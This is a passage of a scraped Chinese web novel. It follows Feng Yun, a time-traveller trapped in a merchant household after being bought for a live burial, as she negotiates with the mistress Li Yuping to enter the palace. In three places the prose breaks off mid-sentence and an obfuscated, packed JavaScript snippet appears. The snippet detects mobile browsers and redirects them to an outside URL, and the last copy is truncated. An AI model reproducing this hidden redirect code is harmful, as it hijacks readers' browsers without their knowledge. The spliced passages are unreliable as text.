李玉瓶将那几张纸翻来覆去的瞧,被上面的纹样所吸引,看了许久才发觉旁边还题了一句诗。 ——金紫万千谁治国,裙钗一二可齐家。 李玉瓶不由怔在原地,心中反复默诵着这句诗,越发觉得奇了。 这女子不过是丈夫在路边匆匆买的,怎么有这么一手技艺,又偏偏如此明白她心中所思所想。 若只是懂她的心思也就罢了,偏偏写出这么一句话来,叫她心中熨帖。 难不成真是妖精来的? 正说话间,却见有人急匆匆地进来,道:“咱们家中的事情到了褚大珰耳朵里,知府也一清二楚,夏指挥实在是瞒不下去了,他手下那个吴副千户说是请了李知县和知县的好友江翰林一起旁听。” 李玉瓶原本还有几分犹豫,听到仆从的话,她沉吟半晌,终是对小桃吩咐道:“祠堂里那个……叫什么名字?” 小桃连忙道:“她自称姓冯,名叫冯昀。” “你同来吉和你哥哥说,我要见见这冯姑娘。” 小桃听她这般说,连忙应了一声,匆匆起身走了出去,她抬眼望向敞亮湛蓝的天际,顿感如释重负。 冯姑娘……当真有机会活下来。 4. 月落参横(4) 经过一天并不算踏实的休息,冯昀身上的伤口似乎痊愈了不少,也不知道是不是因为如今冯昀的心态积极了许多。 冯昀捧着酥油饼,吃得狼吞虎咽,几乎要呛住,好在陈子荣如今有了祠堂的钥匙,给冯昀准备了一大碗温水,冯昀才不至于噎住。 其他人都被打发去吃饭,只有陈子荣一个人守在门口,他见冯昀吃饱,方才开口问道:“你是怎么笃定太太看了那幅画就会见你?” 冯昀将饼子放到一旁,道:“我听你和小桃说话,太太才干出众,连这老爷好像都对太太言听计从,我当然要从太太那里下手。” 陈子荣接着问道:“你不是流民吗?怎么会写字?” 冯昀只是反问:“谁说读书识字的人就不会变成流民了?” 陈子荣闻言不由陷入沉默。 这话倒是说得没错,如今的世道,若没有权钱傍身,只会读书识字,哪来的安稳? “这世上的人这么多,就这一眨眼的功夫,就有人家业凋零,也有人富甲一方,谁知道自己会是哪个。”冯昀犹豫半晌,还是将手上的油渍擦在了衣裳上,这才拿起笔,趴在地上画起了稿子。 陈子荣见她两三笔就勾勒出佛像的模样,不由一怔,将身体向旁边挪了挪,免得挡住冯昀的光,只是他仍旧好奇地蹲下.身,凑在门缝处好奇地注视着冯昀作画。 “你已经将画交给了太太,还画这些做什么?” 冯昀仍旧专心致志地画稿,只是道:“金钗已经拿去换了纸笔颜料,你们帮我这么大的忙,我只能用这些回报一二。” “我们?” “万一那位太太不打算见我,你们兄妹两个也能拿着这些钗环首饰的图纸叫他们息怒,就说是从我这里得来的,免得让夫人疑心你们胳膊肘向外拐。”说到这里,冯昀煞有介事地说道:“反正这些东西都是固定搭配,什么观音弥勒、桂子荷花……万变不离其宗,只要有这些图纸,拿着底稿描摹就是,随意搭配,够吃两年的。” 陈子荣听她这么说,过了一会儿才道:“太太一定会见你的。”他见冯昀抬头,面露疑惑之色,方才接着说道:“我是听你说了那句诗的意思,又看你的图画得这么好,才这么猜的,否则我不会让小桃去做这件事。先前家中的人都以为你有癔症,不敢接近你,如今我和小桃能够同你说话,你又能作图,太太料定你是个‘明事理’的人,为了解决眼下的麻烦,一定会见你。” 冯昀明白他的意思,心中踏实了一些,这才道:“我听昨晚那个人提到过,说是要审我,肯定是有人告发,眼下最需要的不就是能够证明宁家没有谋害人命的证人吗?我这个受害人站出来最合适。” 她一面解释,一面偷瞧陈子荣的神情,见他对自己的警惕心已经大不如前,冯昀终于开口道:“我要题字,如今是什么年月……” 她看似自语,却始终没有嘟囔出个大概,还是门外的陈子荣开口道:“祐宁四十二年七月初十。” 冯昀因为这个日期愣在了原地。 如果现在的她是十六岁的她,那她大概会兴奋于可以回到自己曾经深度了解的时代之一,满心期待接下来可能会发生的史书上的记录,但如今的她已经二十七岁,过往的记忆已经模糊不说,只留下了一部分有关这个时代的只言片语。 祐宁共计五十一年,此时这个朝代已经度过了一百五十余年,渐渐步入夕阳的余晖之中,整个国家体系和统治阶级的弊端也开始不断涌现。 但身为最高权柄的拥有者的祐宁皇帝周慈荣却仿佛一无所知,在从母亲手中彻底夺走权力之后便开始沉醉于奢侈糜烂的生活之中,只要有人能合皇帝的意,无一不是鸡犬升天。 皇帝隐于幕后,只偶尔显露锋芒,展示自己身为皇帝的权威。前台的大臣们也纷纷登场,这些人政见立场不同,互相攻讦都是小事,但对朝政混乱的风气却给后世带来不小的影响,以至于昭朝直到灭亡,许多人仍旧忙于窝里斗。 不论前朝还是宫廷,都被厚重的阴影笼罩,故而后世学者大多评价这一时代“群魔乱舞”。 饶是冯昀都不由感慨自己的出生点挑选水平,不是谁都有她这样的运气的。 好消息,她曾是史同女。坏消息,上班上久了,有的东西已经记不太清了。 陈子荣见她呆在原地,笔尖的墨水落在了画稿上,晕染出一片混沌,忍不住问道:“你怎么了?是怕宁家不会轻易放过你吗?” 冯昀回过神,按捺住自己一时间格外纷繁的思绪,随后低声道:“那天晚上你们说的话我都听到了,宫里的人还没有走,这位宁家老爷已经想着要杀我,事情解决之后,说不准他就要拿我泄愤,我必须想办法再找一个安身立命之所。” “你是流民出身,又是被买了下来,没那么容易。”陈子荣摇摇头,道:“不如傍上太太,太太在家里说话一向有分量,娘家又是做首饰生意的,兴许她赏识你的才华,之后能保住你的性命。” 冯昀连忙否认,“不可能,你们都说太太才智过人,但她要是真能说一不二,我就不会被宁家买下活殉了。现在是因为宫里的人在,我才能暂时保住性命,等他们不在了,我必死无疑。” 根据她目前了解到的消息,宁家还在为这件事焦头烂额地贿赂上下官员,显然是没有亲族任官,那么作为一块容易被人撕咬的肥肉,宁家应该小心行事,而不是“光明正大”地害人性命。 偏偏宁家反其道而行之,可见这个宁老爷不过是个庸碌之辈,好日子过多了就开始找死,而宁家的大太太虽然有才华傍身,但对于家业也没有决定权。 不过冯昀的生死还有斡旋的机会也多亏装上了皇宫的太监外出采选宫女,那位太监大概率是想狠狠敲宁家一笔,否则宁家这个地头蛇土财主不会把这件事拖这么久。 陈子荣见她如此确定,不由道:“那你怎么办……” 冯昀沉默半晌,道:“事到如今,只能搏一把了。” “什么?” 冯昀在脑海之中抓住一个名字,立时有了目标,郑重开口道:“我要入宫。任凭宁家富贵也追不到宫里吧?” 陈子荣闻言目瞪口呆,“入宫?这可不是几张画就能事成……” 冯昀抓紧了手上的动作,道:“那可未必,人有一技,如有一宝。” 陈子荣知晓她画技和巧思都非比寻常,只是道:“可一旦要入宫,就要查清你的户籍,你是流民,那些官老爷不把你打一顿送回老家已经不错,怎么可能让你入宫?” 冯昀笑了笑,“那话怎么说?有利能使鬼推磨。”她停顿半晌,望着外面与她平视的陈子荣,认真地说道:“你们兄妹两个帮我这么多,对我有……再造之恩,我一定想办法回报。” 陈子荣对上她的目光,一时间怔在原地,最后只是叹了一口气。 “你能顾好你自己就不错了。” 冯昀咽了咽口水,问道:“要和我赌一把吗?” 陈子荣听她说完所有计划,望着那双明亮的眼眸,不由怔在原地,好久才回过神,他有些艰难地开口道:“你要是真能说服太太,我就同意。” 两人说话间,不远处传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030715|194546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来脚步声,陈子荣回身瞧了一眼,正转过身要同冯昀说话,却见她不知道什么时候已经躲了起来,连地上的笔墨纸都收了个一干二净。 陈子荣只得对来人道:“她在里面躲着。” 外面忽地传来对话声,冯昀几乎是下意识地打了个哆嗦,迅速收拾好自己的东西躲在角落。想到之前自己被宁家仆人殴打,冯昀又急忙站了起来,伸手抓住香案一角,以防万一。 冯昀原本想要直接扛起祠堂里的香案当做防身武器,但此时此刻她的身体太过孱弱,冯昀只能转而攥紧了香炉的把手,多亏这具身体没有缠足,否则冯昀只怕是连站起来都费事。 随着门锁转动的声音,冯昀的身体愈发紧绷,如同一只蓄势待发的野兽,一动不动地盯着宁漆木门。 好在这次推门进来的不是别人,而是昨晚的小桃,这是冯昀第一次看清她的模样,看着不过十五六岁,稚气未脱,梳着双鬟,戴了两支虫草簪充作妆点,身上则是窃蓝袄、胭脂裙,额外添了一件夹棉比甲,手中还拎了几件衣裳。 小桃身边还跟着两个丫鬟,打扮比她略次,手中端着个匣子,与冯昀曾经在画中见过的梳头娘子的装备有相似之处。 “冯姑娘!”小桃先是欣喜地唤了一声,又想起自己这次是带人来的,努力平复心情,转而对身边跟着的几个丫鬟叮嘱:“太太喜洁,你们给冯姑娘简单梳洗一番。” “是。” 冯昀与小桃对视许久,见她轻轻点头,冯昀方才松开了手中的香炉。 小桃口中的“太太”应该就是宁大爷的妻子,她愿意见冯昀,可见“天无绝人之路”。 门口的几个家仆原本担心“冯姑娘”发疯,见冯昀乖乖地坐着让人梳头,不由大为惊奇,都小心翼翼觑着冯昀的神情,生怕她又忽然陷入癫狂。 冯昀只当没看见他们的神情,任由两个丫鬟为自己梳妆,再次整理自己的思路,免得一会儿出了什么纰漏。 说是梳妆,主要是担忧冯昀身上有些“小宠物”,脏了太太的院子罢了。 小桃见她们将冯昀的头发简单篦过,将手中的石青比甲披在冯昀身上,“太太吩咐了,如今天冷,冯姑娘多加衣裳,免得染了风寒,养伤的药膏之后再上。” 众人听闻便明白,太太如今要“礼遇”这位四太太,故而都不敢再乱看,各自去做自己的事情。 冯昀只扫了一眼比甲的颜色花纹和布料,便判断这应该是主人家的旧衣裳。 冯昀轻轻点头,在长久的沉默后终于找回了自己的声音:“谢谢。” 小桃只是摇摇头,带着冯昀走出了宁家的祠堂。 如今的天气干燥寒冷,即便惨白的太阳挂在天边也无济于事,一阵风过来,冷得冯昀瑟缩了一下,抓紧了身上唯一那件可以保暖的比甲。 冯昀以前跟着公司团队在一些园林取景,走在宁家的宅院内,不免有些恍惚,她数着门槛,刚在猜测眼前的院子会不会是宁家太太的,小桃便已经停下脚步,同门边的侍女说起太太要见冯昀,拎着她走了进去。 尽管冯昀对宁家的院子布局有一瞬的感兴趣,但想到自己此时此刻是在货真价实的古代社会,也只能忍住那份好奇,只紧紧地盯着小桃的步伐,停停走走。 “娘,冯姑娘人到了。” “进来吧。” 冯昀站在屋外,只与里面隔着一道帘子,却已经能够感受到屋内的温暖香气,和自己在祠堂的情形可谓是天差地别。 冯昀回想自己以前看过的资料,有模有样地行了个礼,“见过……嫂嫂。” 5. 月落参横(5) 骤然听到冯昀的称呼,周围人都吓了一跳,纷纷偷觑太太的脸色,一个声响儿都不敢有。 李玉瓶却仍旧从容大方,只是端起瓷杯饮了一口热茶,方才抬眼看向冯昀,她第一眼看过去的自然是冯昀的手。 不论是画稿还是题诗,都出自这双手。 李玉瓶远远看着,这双手虽然细长,却是极薄的皮肉包裹着骨头,露出青紫的筋脉,手背上还有一道乌青痕迹。指甲虽被简单清洗打理,但上面的淡淡裂纹并没有因此消失,血丝反而清晰可见,李玉瓶也能猜到这女子被活埋后是如何求生,才得以逃出生天。 李玉瓶平日里也吃斋念佛,自认是个心软慈悲的,见此情形不由移开视线,只反问道:“是谁同你说我是你的嫂嫂的?” 冯昀听到此处,霎时明白了李玉瓶的意思,显然是要从根上杜绝那些仆人们口中的流言,否认有“活殉”这回事。 冯昀抬眼看向李玉瓶,生得月眉星目,只生出几道细纹,更多一分老练沉稳,光是看她眉梢眼角自然生出的精明,便知道这位娘子不好惹。 尽管如此,冯昀也没有要退却的意思,反而开口道:“若不是家中上上下下这般传言,我怎么会知道呢?嫂嫂以为,我应该是四太太还是冯姑娘?” 刚刚她跟着小桃规行矩步,颇为局促,李玉瓶还有些狐疑,怎么瞧她都不像是能写出那句诗的人,但见冯昀行礼,又称她“嫂嫂”,李玉瓶便已经能够断定,她是个聪明人,尽管身处祠堂听了几句外面的流言蜚语,已经能够分析出,宁家要“牺牲”她来换取平安。 至少眼前这位冯姑娘绝对不像丈夫口中所说那般,是个单纯的疯婆子。 思及此处,李玉瓶悠悠然开口:“你不疯了?” 这个问题在冯昀的意料之中,她的声音平和:“我不同哥嫂这般,肩上担着家业,不过是一条贱命,鬼门关前走了一趟,生死都已经置之度外,自然是不会疯了。” 冯昀是抱着“大不了重开”的心思说出这些话的。 反正怎么走都有可能死,倒不如迎着死上前。 李玉瓶听出她的弦外之音,冯昀是在表示,她就这一条命,“舍得一身剐,敢把皇帝拉下马”。 事发前,冯姑娘的死是一件好事,事发后,冯姑娘的生是一件好事——只有活着的人才能向他人解释一切。 只要李玉瓶给冯昀想要的,冯昀自然会配合李玉瓶行事。 李玉瓶再次打量眼前这个饿得面黄肌瘦、弱不禁风的女子,少见地心下赞叹。 换作是李玉瓶,也未必有冯姑娘这样的胆量。 李玉瓶抬手挥退屋内的仆从们,方才开口问道:“你有什么条件?” 冯昀终于听到自己翘首以盼的问题,终于开口道:“听说褚大珰来原城挑选宫人,只要被相中,便能入宫伺候陛下和一众娘娘。” “你倒是聪明,担心之后被我们秋后算账。”李玉瓶静静地望着她,道:“只是你如何笃定我会同意这件事呢?你若是入宫闯了什么祸事,只怕还会连累我们。” “我同嫂嫂说这些是在求生,入宫于我而言便是一条生路,既然有了生路,我又何必再走死胡同?” 李玉瓶不由赞叹:“当真是装糊涂的人才。” 冯昀微微一笑,不卑不亢地回答:“只要嫂嫂答应我,什么糊涂我都装得。” 李玉瓶要以冯昀解宁家倒悬之危,冯昀要趁乱博一线生机,可谓是互惠互利。 李玉瓶与她对视许久,反问道:“你不怕我反悔?” 话已至此,冯昀当然不会吝啬那一分夸奖,“这些时候我常常听这家中看守我的仆人们闲谈,都说太太心善,体恤下人,而且还特意给了银钱,让厨房为我准备饮食。我当然愿意相信嫂嫂的胸襟容得下我一试。何况嫂嫂在生意场上多年驰骋,一定比我更明白什么叫做‘和气生财’。” 见她如此坦然,李玉瓶想到那图上的诗句,沉默良久,终于道:“既然如此,你要如何应对?” “不瞒嫂嫂,我不过是一个流民,与家人失散,一路逃难到原城,昏死在宁家祖坟处,四爷心善,托梦于我,恳请阴差放我回来。那阴司官员查了生死簿,又见四爷这般仁善,便准我还阳,只是……” 这些都是冯昀早就思考过的问题,昭朝中期流民不在少数,许多人因为不堪重负背井离乡,但宁家是行商望族,对一些口音应该有所了解。而冯昀作为后世人,察觉不到此间乡音的问题,最好是拿出一个不能明说的身份。 李玉瓶先是一怔,身体微微前倾,显然是对冯昀这套说辞颇感兴趣,她意味深长地问道:“只是什么?” 大昭每年流民数不胜数,朝廷年年说要管束,可直到去年才只有了个安置流民的法子,各地的落实还是一塌糊涂。且黄册废驰不是这一两年的事情,料想也查不到这冯姑娘头上,这样的说法可谓是天衣无缝,到时候只要托人便能将冯昀的户籍安排在原城。 冯昀低垂着眼,“只是四爷怕哥哥嫂嫂不信,特意传我画技,故而耽搁了几日,我才还阳回来。” 李玉瓶是无论如何都想不到,冯昀竟然能够将那个不争气的夫弟美化成这般人物,顿时倍感讽刺,不由拊掌大笑,“原来如此……原来如此!难怪那画这般精巧,怎么看都不像是你能学会的!竟还有这样的说法……” 这一番说辞听着离谱,但也算是圆上了冯昀出现在宁家祖坟的谎。 最重要的是冯昀本人对宁家的态度,绝非外界传言中宁家逼人活殉、害人性命的行径。宁家平日里打点上下花了不少银钱,只要当事人愿意“澄清”,宁家花些银钱,自然能将这件事情遮掩过去。 冯昀心中虽然打鼓,但也只是咽了口水,岿然不动。 李玉瓶端详她许久,见她性情沉稳,又多了几分欣赏。 一个普通人家的女子,能够如此揣摩他人心思、思索破局之法,已是殊为不易,面对她时还能够镇定自若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030716|194546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,倘若好好培养,比那个花柳病死了的四弟不知道强到哪里去。 只是李玉瓶又不免心生疑窦,若真是寻常女子,如何有这样的心性,又如何习得这一手画技?那一手字端正大方,家中若真舍得给这四太太请先生教习,又怎么舍得将她卖掉? 李玉瓶起身走到冯昀身边,将她的手拢在自己掌心,细细摩挲,笑道:“好妹妹,我那外子是个粗人,平日里家中烧香拜佛的事情都是我在做,他一向不识行货,是怕四弟生前没有娶妻,膝下更没有个尺男寸女,到了下面受人欺负,所以才昏头办了这等事……过去的事情,你可千万不要放在心上。”她轻抚着冯昀的手,这一双手可谓是粗糙,遍布老茧,怎么都不像是娇生惯养的女儿。 冯昀不敢放松警惕,只是垂首道:“嫂嫂,这样死而复生的事情少之又少,大哥心有顾忌也是情理之中……嫂嫂主持家里家外,见识不比大哥少,只要外面的人愿意如同嫂嫂这般,听我分辨几句,我也就安心了。” 不论这冯姑娘身上的些许古怪,这几句话确实说进了李玉瓶心中,她笑呵呵地拉着冯昀坐下,随手将早已经倒好的茶推到冯昀面前。 疑问再多,都比不上解决宁家眼下的事情要紧。 李玉瓶牵着她坐在自己身边,这才第一次细细观瞧眼前的人,先前只听人说这冯姑娘疯疯癫癫的,如今叫人打扮一番再细看,瘦弱之中可见她天生的花容月貌,弯弯眉儿水杏眼,点点星眸瓜子脸,难怪被丈夫相中配了老四。 “只是我心中还有一个疑问。” 冯昀未曾想到李玉瓶还会再问,心中咯噔一下,但还是应声:“嫂嫂请讲。” 李玉瓶盯着她,道:“你若是认下‘四太太’的身份,借口岂不是更佳?以后还能以此在宁家度日,难道不比进宫伺候别人更好?你有这一手画技,我很是喜欢,留在我家中为我效力有何不可?你现在后悔还来得及。” 冯昀与她对视片刻,认真地答道:“刚才我口中的胡言乱语是为了求一线生机,活殉这件事究竟是真是假,您心中应当比我更加清楚,无论如何,我都不会认下这‘四太太’的名号的。” 冯昀不会和李玉瓶坦白的一点,也是最重要的一点——这身体本就不是她自己的,她为了求生屈服于宁家已经觉得对不住已逝之人,更不会替一个被宁家杀死的灵魂承认凶手给予的“名分”。 为了求生和宁家合作已经有些对不住这个小姑娘,冯昀不能为了李玉瓶口中的安逸就把这孩子再卖一遍。 况且谁知道李玉瓶所言是真是假,到时候要是“胳膊拗不过大腿”,冯昀又能找谁哭? 李玉瓶闻言一怔,心中不知何等情绪交加,分外复杂,许久之后方才感叹道:“你要是愿意,叫我一声‘姐姐’吧。” 冯昀当然不会放过这个套亲热的机会,借坡下驴:“姐姐。”她正色道:“若想入宫事情顺利,我想向姐姐要两个人,姐姐要是不答应,我做什么事情都不安心。” 6. 月落参横(6) 宁家的轿子自夏指挥宅邸返回,停在了大门外,宁义广下轿进了正厅,摘下头顶的巾帽递给小厮,顺口问道:“太太呢?” 小厮连忙答道:“冯姐姐陪着太太闲聊,刚刚传了晚膳。” 宁义广一头雾水,“冯姐姐?什么姐姐?”他说完忽然明白过来下人口中的“冯姐姐”是谁,怒斥道:“姐什么姐!谁让那个丧门星出来的!” 倘若不是今日夏指挥告诉他,他还不知道那位来原城采选宫人的褚大珰竟然要将这件事闹上公堂,找到了庄子上传出风声的几人状告宁家,又要叫上那位来原城访友的江翰林严审。 夏指挥手下的吴副千户见状想借题发挥,将他这个指挥使拉下来,自己趁机上位…… 夏指挥左右支绌,难以招架,便将事主宁义广请了过去,让他尽快准备些金银,之后由知府和夏指挥引荐拜见褚大珰,破财消灾。 平日里宁义广打点就花了不少钱,而这褚大珰可是天子使者,只怕千两银子都打不住。 若不是冯昀,宁家怎么会惹上这样的祸事?她自然是天大的丧门星! “太太叫身边人去请冯姐姐出来的,说是冯姐姐这些时候吃苦了,她心疼得厉害,让冯姐姐这几日都住在院子里,不用再回祠堂,那是家中要紧的地方,住人实在是不合适。” 宁义广一听是妻子的意思,知道她必然是有了主意,心头那股火气虽然还没下去,却也没有再骂什么,只是转而问道:“怎么好端端地要叫她去?不嫌墓里的人晦气?我看她对老四的事情厌烦得厉害。” “太太怎么会厌烦四老爷的事情?太太心中把四老爷当做亲生的哥儿一般疼爱!”小厮赔笑:“太太是听说了要提审的事情,才叫冯姐姐来的。太太和那冯姐姐聊了许久,只是其他人都在外面,也不知道聊了些什么……” 宁义广听到这里,便明白夫人心中自有打算,便也不再多问什么,只让人热了酒菜送到妾室的房中,吃酒解闷去了。 约莫半个时辰,李玉瓶身边的人才来请宁义广过去,他心中到底惦记着家里的事情,喝酒也喝不得心上,听到李玉瓶那边有信儿,便丢下妾室去了李玉瓶的院子。 李玉瓶等他许久,见宁义广姗姗来迟,穿戴也与出去的时候不同,便猜到他刚刚做什么去了,只是事分缓急,李玉瓶也不计较,问道:“夏指挥怎么说的?” 宁义广将夏指挥所说一五一十道来,方才问道:“你今日叫那扫把星来做什么?” 李玉瓶冷笑一声:“自然是给你平账,你光给人家送礼有什么用?活殉的屁股擦不干净,以后咱们就成了人家的钱袋,取之不尽、用之不竭,还没处喊冤。到时候除了我还有谁跟着你过苦日子?你那几个妾室还是外面伙计的老婆?” 宁义广被她几句话臊回去,只好佯装咳嗽,一言不发。 李玉瓶点到为止,改换话题:“今日我与你买来的那丫头见面,她倒是个聪明人,愿意配合承认活殉的事情皆是误会,而非宁家威逼。” 宁义广闻言不由一怔,立刻明白过来,不由大喜过望,忝着脸夸赞李玉瓶:“怎的这般识趣!还是夫人锦心绣口降伏了她!” “哪里是我降伏了她,是她自己主意大。”李玉瓶似笑非笑:“上来便先喊我‘嫂嫂’,想要震慑住我,后来又说是四弟在天之灵不愿家中造孽,恳请阴差放她回来,怕你我不信,还传了她一手画技。” 说到这里,李玉瓶的语气有些复杂,道:“也不知道一个黄毛丫头,心中哪来这些成算……” 宁义广如何听不出她语气中夹杂的几分欣赏,不由问道:“这扫把星给你下了什么蛊?不过是路边买来的黄毛丫头,至多也就十五六岁,能有什么高谈阔论,竟让你这样礼遇!” 李玉瓶垂眼喃喃道:“她确实不是池中之物,兴许真有一番作为……” “姐姐忘了,要不是这扫把星爬出来大呼小叫,本就没有今日的事情。” 他不说这个还好,一说这个,李玉瓶一肚子气,冷笑道:“你要只是给老四配阴婚也就罢了,偏偏胆大包天敢买人活殉,如今皇家都不曾再有殉葬的事情,咱们不过寻常人家,稍微富贵一些就敢做这样僭越的事情,你是怕别人抓不住把柄吗!” “这……这些事又不是只有咱们一家做,风水先生这么说的,我也是为了老四……” 李玉瓶啐了一口,伸手一戳宁义广的额头,嗔骂声不停:“你倒是爱你那个宝贝弟弟爱得不行,也不看看现在是什么时候,还发昏一样爱他,你们兄弟情深,反而带累我们一家上下提心吊胆的,连我的嫂子都来问询这烂事!” 宁义广讪笑着拉紧她的手讨饶:“这次都是我的错,没想到褚大珰到原城竟然会关心这样的小事,更没想到有人借此机会陷害咱们家。” 李玉瓶见他如此,心中不由想起冯昀在那画上题的诗句,最终只是长叹一声。 宁义广又问道:“那扫把星……”他见李玉瓶瞪着自己,立刻改口道:“冯姐姐!她怎么给你出谋划策的?叫我也听听。” 李玉瓶嗤笑一声,起身走向床榻边,“你不是瞧不上她吗?还关心这个做什么?我已经叫家中的人去准备东西,待到明日礼物齐备了,我与她一起去给知府太太送,之后你自然就明白了。” 宁家夫妇两个夜话不提,另一边厢,冯昀总算能够从头到脚洗漱一番,换上了李玉瓶找出的旧衣裳,她自己更衣,小桃在一旁偶尔搭把手,顺便将白日里自己在花园旁听、抓紧时机劝说李玉瓶的事情一一道来。 冯昀听她提起花园里的几位夫人提及西面的灵州有走私,立刻想到赵王叛乱后不久,昭朝开始与西方外国通商,虽然皇帝的主要目的是为内帑敛财,追求自己享受,但也有一部分原因是为了开放贸易,给国家增收,减轻镇压叛乱和赈灾救民的财政压力。 冯昀一面梳着长发,一面问道:“小桃,这几年有没有藩王叛乱的传闻啊?” 这话问得没头没脑,小桃却并不追问,只是道:“没听说过……倒是有流民聚众,可是用不了多久就被平定了。” 冯昀虽然不记得通商的事情具体发生在什么时候,但知道赵王叛乱在祐宁四十出头的某一年,此时听小桃的话,赵王还未叛乱,但边境已经有人开始走私,说明距离皇帝开放边境贸易应该很快了。 若是能抓住这个机会,未尝不能一跃飞天。 小桃被李玉瓶指派到冯昀身边,打理她的日常生活,见冯昀自己梳头,两三下就将已经阴干的长发盘成时下流行的发髻,不由感慨:“冯姑娘好厉害,还会盘一窝丝哩,太太也喜欢盘这个。” 冯昀闻言笑了笑,“咱们两个年龄差不多,以后就别叫我冯姑娘了,像别人那样,叫我冯姐姐就好。” “冯姐姐什么岁数?” 一说起这个,冯昀也有些犯难,她今日对着镜子瞧了瞧,发觉这具身体的年龄似乎比想象中的还要小,约莫着也就十六七岁,和小桃年龄相仿。 “十……十六岁。” 小桃呀了一声,“我今年十五岁,三月初三的生辰,姐姐是什么时候的生辰?” 冯昀哪里考虑过这方面的事情,怕被看出了端倪,便将自己的阴历生日说出来:“正月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小桃笑嘻嘻地开口:“日子久了,我也记不得我娘说了什么,应当是个好玩的笑话。好在进了宁家没两年,我就到了娘的身边,早先陪着家里的小姐玩儿,给我取了个小桃的名字。前两年小姐嫁人了,太太怕我没心眼,照顾不好姐姐,就将我留在家里了。” 这下冯昀怎么会不明白小桃为何会如此慷慨地帮助自己,无非是因为境地相似。 “之前你问我叫什么,我只说了自己的,却忘了问你叫什么。”冯昀认真地说道:“小桃是你来到宁家之后的名字,那之前呢?你原本叫什么?” 小桃与她对视片刻,一时间有些呆住,过了一会儿才小声道:“我娘给我取的名字,叫英华……” “英华……你想出去吗?” 陈英华先是点了点头,犹豫半晌后又摇了摇头,道:“不行……这些年来都是家中打发人卖奴婢,哪有奴婢自赎自身的?即便真能赎了自己出去,我又找不到什么能养活自己的生计,反而给哥哥添麻烦。” 冯昀何尝不明白这一点,这个时代户籍流通不畅,女性面临的处境更加逼仄,即便小桃离开宁家,也很难在这个世道生存下去,兴许过得还不如在宁家做奴婢。 “英华,你学过画画吗?” 陈英华不明所以,只露出一个微羞的笑容,“以前家里小姐学的时候,我在一边跟着学过几下,帮着画过几个花样子。” 冯昀握住她的手,认真地说道:“英华,你要是愿意,我可以将盘发的手艺教给你,还有我的图稿、我的画技……这些总能帮你在这世上好好地活。” 陈英华听到这句有些耳熟的话,不由怔在原地。 “只是我想再托你们兄妹一件事。” 7. 月落参横(7) 尽管已经劳累了许久,但次日一早,天还未大亮,冯昀便醒了过来。 原因之一便是原城的秋日阴凉,只要身体露在被子外面,便能察觉到身上的冷意。至于另外一个原因,则是冯昀还惦记着自己的小命的问题,即便再怎么困顿,在宁家仍旧难以熟睡。 旁边小榻上的陈英华则已经睡得迷迷糊糊,蜷缩着身体。 冯昀见她这样,小心翼翼地将被子抱起来,轻轻盖在陈英华的身上,方才拿起放在一旁的外衣,哆嗦着将衣裳穿好。 宁家给她的衣裳是夹棉的,可要和现代的羽绒服和各色棉衣相比要差远了,让冯昀一瞬间想起小时候回老家过年时烤火的日子,也是这样一边哆嗦着一边穿衣裳,要是有她妈妈在炉子里顺便烤个红薯就更像了。 想到这里,冯昀有些想哭又有些想笑,最终还是忍住没有流泪,不由暗自感慨班上多了就是不一样,适应能力也是与日俱增。 倒也并非她真的想在这里过日子,只是实在没有别的选择,如果她死了还没能回到现代,没能回到她那时常被亲妈埋汰的狗窝里,那岂不是更亏了?不仅被封建糟粕重度迫害,还英年早逝两次! 冯昀一边胡思乱想,一边穿戴整齐,一转身就见陈英华已经起身,两人都吓了一跳,面面相觑。 “姐姐怎么这么早就起身了?” 冯昀见她脸上还有困色,“我是不是吵着你休息了?” 陈英华赶忙道:“守夜本就是这样的,哪有什么吵不吵的?是我不好,竟然睡着了。只是没有想到姐姐这些时候这般辛苦,竟然还这么早就起身……”说罢,她连忙招呼人进来给冯昀洗漱。 简单洗漱一番,冯昀方才走到书桌边,看着桌上铺好的纸,道:“昨晚虽然画了不少,但我还是不放心,多补几张也能应急。” 陈英华见她坐在桌边,走上前去为她点灯研墨,开口问道:“冯姐姐画得这么快吗?” 冯昀笑道:“之前在祠堂里冻得手抖,画得就慢。现在至少勉强温饱,画起来当然很快。” 冯昀画这些算是轻车熟路,一连画了四五张,简单比较了一番,又追加了两张作为备选。还好她在现代经常因为兴趣出去采风,也买过不少商家制作的簪钗首饰,首饰外形的储备量还是有的,实在不行,七分靠记忆,三分靠乱猜…… 陈英华见她动作行云流水、游刃有余,一时间看入了迷。 冯昀问道:“英华,哪个更好看?” 她虽然对这个时代的风尚有点了解,但审美还是现代人那一套,还是让陈英华这个当代人来选择更好。 陈英华在几张画之间来回扫视一番,一时间挑不出个最好,她眯着眼,一副老学究的模样,认真地说道:“上面的人儿都和真的似的,一定要选……应当是这个好。” 她指的那一张是观音大士携善财龙女童子样式的分心,旁边还有几张毛女贺寿、摩利支天、甚至是三英战吕布的首饰样式,冯昀虽然画得快,却没有错漏太多细节,看着栩栩如生。 